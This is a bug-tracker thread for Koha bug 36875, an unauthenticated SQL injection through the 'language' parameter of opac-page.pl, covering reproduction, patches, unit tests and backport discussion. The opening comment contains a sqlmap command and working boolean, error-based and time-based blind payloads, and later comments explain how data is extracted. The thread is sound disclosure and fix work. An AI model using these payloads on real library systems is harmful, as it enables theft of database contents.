Test plan: 1. Create an additional content page (it can be empty, just submit) http://localhost:8081/cgi-bin/koha/tools/additional-contents.pl?op=add_form&category=pages&editmode=wysiwyg 2. Run sqlmap "http://localhost:8080/cgi-bin/koha/opac-page.pl?language=fr-FR&page_id=7" --all --dbms=mariadb (ADJUST page_id as necessary) 3. When prompted, accept the default choices. After some time, it might say "web server instance hasn't recovered yet from previous timed based payload." => restart services and after some long restart, go back to sqlmap and tell it to continue 4. Behold the results: Annex 1 5. Optional: let sqlmap dump the whole DB over time 6. Not optional: be terrified because we can dump the whole DB from unauthenticated OPAC [U+1F631] On the condition of having an additional content page public. No need to install an language. ------- ANNEX 1 ----------------- sqlmap identified the following injection point(s) with a total of 420 HTTP(s) requests: --- Parameter: language (GET) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: language=fr-FR') RLIKE (SELECT (CASE WHEN (1203=1203) THEN 0x66722d4652 ELSE 0x28 END))-- xfMe&page_id=7 Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: language=fr-FR') OR (SELECT 5996 FROM(SELECT COUNT(*),CONCAT(0x716a627871,(SELECT (ELT(5996=5996,1))),0x716b786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Igox&page_id=7 Type: time-based blind Title: MySQL > 5.0.12 OR time-based blind (heavy query) Payload: language=fr-FR') OR 2243=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- DySE&page_id=7 ---
Blocks bug 36520 because searching for the same principle (->search() with an order_by feeded with a variable) allowed to find this.
Removed the block relation, it affects git bz and will cause confusion. It still blocks it but not in a way representable in BZ.
Serious business. Looking here now
As I understand, the vulnerability comes from the language param. Which is handled in getlanguage. So this could be broader than additional_contents..
# Chose language from the URL my $cgi_param_language = $cgi->param( 'language' ); if ( defined $cgi_param_language && any { $_ eq $cgi_param_language } @languages) { $language = $cgi_param_language; } How do we get around this check??
(In reply to Marcel de Rooy from comment #5) > # Chose language from the URL > my $cgi_param_language = $cgi->param( 'language' ); > if ( defined $cgi_param_language && any { $_ eq $cgi_param_language } > @languages) { > $language = $cgi_param_language; > } > > How do we get around this check?? Scratch that. The problem is here: $lang || C4::Languages::getlanguage($query)
Created attachment 166804 [details] [review] Bug 36875: Do not pass unsanitized language to $page->translated_content Test plan: Try to access opac-page.pl with a language not in OPACLanguages. Verify that this 'language' was not passed to sql. Simplest perhaps by debugging AdditionalContents.pm. Something like: sub translated_content { my ( $self, $lang ) = @_; +warn "L137: $lang"; Now have a public additional_contents page and hit it: /cgi-bin/koha/opac-page.pl?page_id=5&language=badsql Check your log and find: [2024/05/16 07:25:53] [WARN] L137: en at [etc] line 137. So badsql was caught. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 166805 [details] [review] Bug 36875: Prevent SQL injection from additional contents
Again, I think a low-level fix is better.
Created attachment 166806 [details] [review] Bug 36875: Staff counterpart Same change. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
(In reply to Jonathan Druart from comment #9) > Again, I think a low-level fix is better. I think that we can use them both actually.
(In reply to Jonathan Druart from comment #9) > Again, I think a low-level fix is better. This fix gave me a hard time. Since I was assuming that quote was not the issue ;) But it was. We cannot use it as you do here. The query is not correct anymore. my $lang = 'nl-NL'; $lang = C4::Context->dbh->quote($lang); print Dumper( $lang ); $VAR1 = '\'nl-NL\''; It was returning default because it was looking for the quoted form of the language. Will submit adjusted patch.
We should go along these lines: $sql->where( { lang => { -in => [ 'default', \[ '?' => $lang ] ] } } ), $VAR4 = ' WHERE ( lang IN ( ?, ? ) )'; $VAR5 = 'default'; $VAR6 = 'nl-NL) or (id IS NULL)'; The old bind parameter in its DBIx form
(In reply to Marcel de Rooy from comment #13) > We should go along these lines: > > $sql->where( { lang => { -in => [ 'default', \[ '?' => $lang ] ] } } > ), > > $VAR4 = ' WHERE ( lang IN ( ?, ? ) )'; > $VAR5 = 'default'; > $VAR6 = 'nl-NL) or (id IS NULL)'; > > The old bind parameter in its DBIx form Somehow I got lost here. Now it seems to be overkill. Cant reproduce anymore what I saw before?! lang => [ 'default', $lang ] should be enough to get placeholders.
Created attachment 166832 [details] [review] Bug 36875: Do not pass unsanitized language to $page->translated_content Test plan: Try to access opac-page.pl with a language not in OPACLanguages. Verify that this 'language' was not passed to sql. Simplest perhaps by debugging AdditionalContents.pm. Something like: sub translated_content { my ( $self, $lang ) = @_; +warn "L137: $lang"; Now have a public additional_contents page and hit it: /cgi-bin/koha/opac-page.pl?page_id=5&language=badsql Check your log and find: [2024/05/16 07:25:53] [WARN] L137: en at [etc] line 137. So badsql was caught. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 166833 [details] [review] Bug 36875: Staff counterpart Same change. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
What about starting with those first two patches. That resolves the issue for now. Still looking at ->translated_content and its test. But that feels more like a further enhancement. Could go somewhere else.
Having another fresh look
(In reply to Marcel de Rooy from comment #12) > (In reply to Jonathan Druart from comment #9) > > Again, I think a low-level fix is better. > > This fix gave me a hard time. Since I was assuming that quote was not the > issue ;) But it was. We cannot use it as you do here. Might have done that myself after all ;)
(In reply to Victor Grousset/tuxayo from comment #0) > 6. Not optional: be terrified because we can dump the whole DB from > unauthenticated OPAC [U+1F631] > On the condition of having an additional content page public. No need to > install an language. Certainly terrifying. But could you explain how I can bypass the where condition in Koha::AdditionalContents->translated_content? As I understand it, this becomes a construct with a SQL placeholder.
(In reply to Marcel de Rooy from comment #20) > (In reply to Victor Grousset/tuxayo from comment #0) > > 6. Not optional: be terrified because we can dump the whole DB from > > unauthenticated OPAC [U+1F631] > > On the condition of having an additional content page public. No need to > > install an language. > > Certainly terrifying. But could you explain how I can bypass the where > condition in Koha::AdditionalContents->translated_content? > As I understand it, this becomes a construct with a SQL placeholder. IOW, you can add those constructs like in description and execute them in order by but they will not be passed back imo. You just get a subset of additional_contents_localizations.
Created attachment 166872 [details] [review] Bug 36875: Unit test Test plan: Run Koha/AdditionalContents.t without next patch. Should fail on the sleep execution. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 166873 [details] [review] Bug 36875: (follow-up) Modify query in translated_content This removes the MySQLism for FIELD(..). In this case we just want to get the non-default records in the front. So we can just test lang=default. And prevent inserting $lang in the expression. And so prevent execution in ORDER BY. No longer needing the ->quote call too. Test plan: Run Koha/AdditionalContents.t again. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 166874 [details] [review] Bug 36875: Unit test Test plan: Run Koha/AdditionalContents.t without next patch. Should fail on the sleep execution. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 166875 [details] [review] Bug 36875: (follow-up) Modify query in translated_content This removes the MySQLism for FIELD(..). In this case we just want to get the non-default records in the front. So we can just test lang=default. And prevent inserting $lang in the expression. And so prevent execution in ORDER BY. No longer needing the ->quote call too. Test plan: Run Koha/AdditionalContents.t again. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
(In reply to Marcel de Rooy from comment #21) > (In reply to Marcel de Rooy from comment #20) > > (In reply to Victor Grousset/tuxayo from comment #0) > > > 6. Not optional: be terrified because we can dump the whole DB from > > > unauthenticated OPAC [U+1F631] > > > On the condition of having an additional content page public. No need to > > > install an language. > > > > Certainly terrifying. But could you explain how I can bypass the where > > condition in Koha::AdditionalContents->translated_content? > > As I understand it, this becomes a construct with a SQL placeholder. > > IOW, you can add those constructs like in description and execute them in > order by but they will not be passed back imo. You just get a subset of > additional_contents_localizations. How to retrieve data? Type: time-based blind => making the response time depend on the value to be extracted. Type: boolean-based blind => make the DBMS error or not (and thus the whole request) depending on value to be extracted. Type: error-based => this one is not possible in production mode. It relies on getting error messages: DBD::mysql::st execute failed: Duplicate entry 'qqjbqkoha_kohadevqxxvq1' for key 'group_key'
(In reply to Victor Grousset/tuxayo from comment #26) > (In reply to Marcel de Rooy from comment #21) > > (In reply to Marcel de Rooy from comment #20) > > > (In reply to Victor Grousset/tuxayo from comment #0) > > > > 6. Not optional: be terrified because we can dump the whole DB from > > > > unauthenticated OPAC [U+1F631] > > > > On the condition of having an additional content page public. No need to > > > > install an language. > > > > > > Certainly terrifying. But could you explain how I can bypass the where > > > condition in Koha::AdditionalContents->translated_content? > > > As I understand it, this becomes a construct with a SQL placeholder. > > > > IOW, you can add those constructs like in description and execute them in > > order by but they will not be passed back imo. You just get a subset of > > additional_contents_localizations. > > How to retrieve data? > Type: time-based blind => making the response time depend on the value to be > extracted. > Type: boolean-based blind => make the DBMS error or not (and thus the whole > request) depending on value to be extracted. > Type: error-based => this one is not possible in production mode. It relies > on getting error messages: > DBD::mysql::st execute failed: Duplicate entry 'qqjbqkoha_kohadevqxxvq1' for > key 'group_key' Okay. But do you have a live example how to get data from another table via this specific vulnerability? Could you mail it to me?
Created attachment 166918 [details] [review] Bug 36875: Do not pass unsanitized language to $page->translated_content Test plan: Try to access opac-page.pl with a language not in OPACLanguages. Verify that this 'language' was not passed to sql. Simplest perhaps by debugging AdditionalContent.pm. Something like: sub translated_content { my ( $self, $lang ) = @_; +warn "L137: $lang"; Now have a public additional_contents page and hit it: /cgi-bin/koha/opac-page.pl?page_id=5&language=badsql Check your log and find: [2024/05/16 07:25:53] [WARN] L137: en at [etc] line 137. So badsql was caught. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Created attachment 166919 [details] [review] Bug 36875: Staff counterpart Same change. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Created attachment 166920 [details] [review] Bug 36875: Unit test Test plan: Run Koha/AdditionalContents.t without next patch. Should fail on the sleep execution. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Created attachment 166921 [details] [review] Bug 36875: (follow-up) Modify query in translated_content This removes the MySQLism for FIELD(..). In this case we just want to get the non-default records in the front. So we can just test lang=default. And prevent inserting $lang in the expression. And so prevent execution in ORDER BY. No longer needing the ->quote call too. Test plan: Run Koha/AdditionalContents.t again. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
With either applying the controller sanitation or the ORM query fix, I can't anymore get sqlmap to inject even with maximizing the strategies employed (--level 5 --risk 3) Automated test sleeps without the AdditionalContent.pm fix. And doesn't sleep with the fix. [U+1F44D] Test plan gives the expected results on OPAC and staff. It works! :) ---- (In reply to Marcel de Rooy from comment #27) > Okay. But do you have a live example how to get data from another table via > this specific vulnerability? Could you mail it to me? Ok, I'll try.
Thx Victor. Good catches.
(In reply to Marcel de Rooy from comment #21) > (In reply to Marcel de Rooy from comment #20) > > (In reply to Victor Grousset/tuxayo from comment #0) > > > 6. Not optional: be terrified because we can dump the whole DB from > > > unauthenticated OPAC [U+1F631] > > > On the condition of having an additional content page public. No need to > > > install an language. > > > > Certainly terrifying. But could you explain how I can bypass the where > > condition in Koha::AdditionalContents->translated_content? > > As I understand it, this becomes a construct with a SQL placeholder. > > IOW, you can add those constructs like in description and execute them in > order by but they will not be passed back imo. You just get a subset of > additional_contents_localizations. The construct triggers a SQL error and the error message exposes sensitive info.
Created attachment 167029 [details] [review] Bug 36875: Do not pass unsanitized language to $page->translated_content Test plan: Try to access opac-page.pl with a language not in OPACLanguages. Verify that this 'language' was not passed to sql. Simplest perhaps by debugging AdditionalContent.pm. Something like: sub translated_content { my ( $self, $lang ) = @_; +warn "L137: $lang"; Now have a public additional_contents page and hit it: /cgi-bin/koha/opac-page.pl?page_id=5&language=badsql Check your log and find: [2024/05/16 07:25:53] [WARN] L137: en at [etc] line 137. So badsql was caught. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 167030 [details] [review] Bug 36875: Staff counterpart Same change. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 167031 [details] [review] Bug 36875: Unit test Test plan: Run Koha/AdditionalContents.t without next patch. Should fail on the sleep execution. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 167032 [details] [review] Bug 36875: (follow-up) Modify query in translated_content This removes the MySQLism for FIELD(..). In this case we just want to get the non-default records in the front. So we can just test lang=default. And prevent inserting $lang in the expression. And so prevent execution in ORDER BY. No longer needing the ->quote call too. Test plan: Run Koha/AdditionalContents.t again. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
(In reply to Marcel de Rooy from comment #37) > (In reply to Marcel de Rooy from comment #21) > > (In reply to Marcel de Rooy from comment #20) > > > Certainly terrifying. But could you explain how I can bypass the where > > > condition in Koha::AdditionalContents->translated_content? > > > As I understand it, this becomes a construct with a SQL placeholder. > > > > IOW, you can add those constructs like in description and execute them in > > order by but they will not be passed back imo. You just get a subset of > > additional_contents_localizations. > > The construct triggers a SQL error and the error message exposes sensitive > info. Additional info: it's just when starman is started with environment="development" option. Which IIUC, should only happen in a dev install like koha-testing-docker or when manually enabling debugging. https://git.koha-community.org/Koha-community/Koha/src/commit/b16e2059a94cf8f803c5687460e73ccf6c85a5f0/debian/scripts/koha-plack#L100
Hey I'm having a bit of trouble with this mainly this failing test https://jenkins.koha-community.org/job/Koha_Sec/job/Koha_22.05/lastCompletedBuild/testReport/(root)/t_db_dependent_Koha_AdditionalContents_t/No_tests_run_for_subtest____translated_content___671_/ 5:58 PM but also this one https://jenkins.koha-community.org/job/Koha_Sec/job/Koha_22.05/lastCompletedBuild/testReport/(root)/t_db_dependent_00_strict_t/Syntax_check_opac_opac_library_pl__534_/
I can't reconcile code to backport this into 22.11 branch.
(In reply to Frédéric Demians from comment #44) > I can't reconcile code to backport this into 22.11 branch. It is not needed below 23.11. The ->translated_content method was added later in bug 31383 and pushed to 23.11. The problematic statement was introduced there: +my $content = $page->translated_content( $lang || C4::Languages::getlanguage($query) );
(In reply to Marcel de Rooy from comment #45) > +my $content = $page->translated_content( $lang || > C4::Languages::getlanguage($query) ); In connection with a different ORDER BY clause in the module btw
(In reply to Marcel de Rooy from comment #45) > (In reply to Frédéric Demians from comment #44) > It is not needed below 23.11. Thanks, it will not be backported to 22.05.x
(In reply to Marcel de Rooy from comment #45) Thanks for the explanation
Pushed for 24.11! Well done everyone, thank you!
Reviewed and nothing to document for the manual.
not backporting to 23.05.x unless requested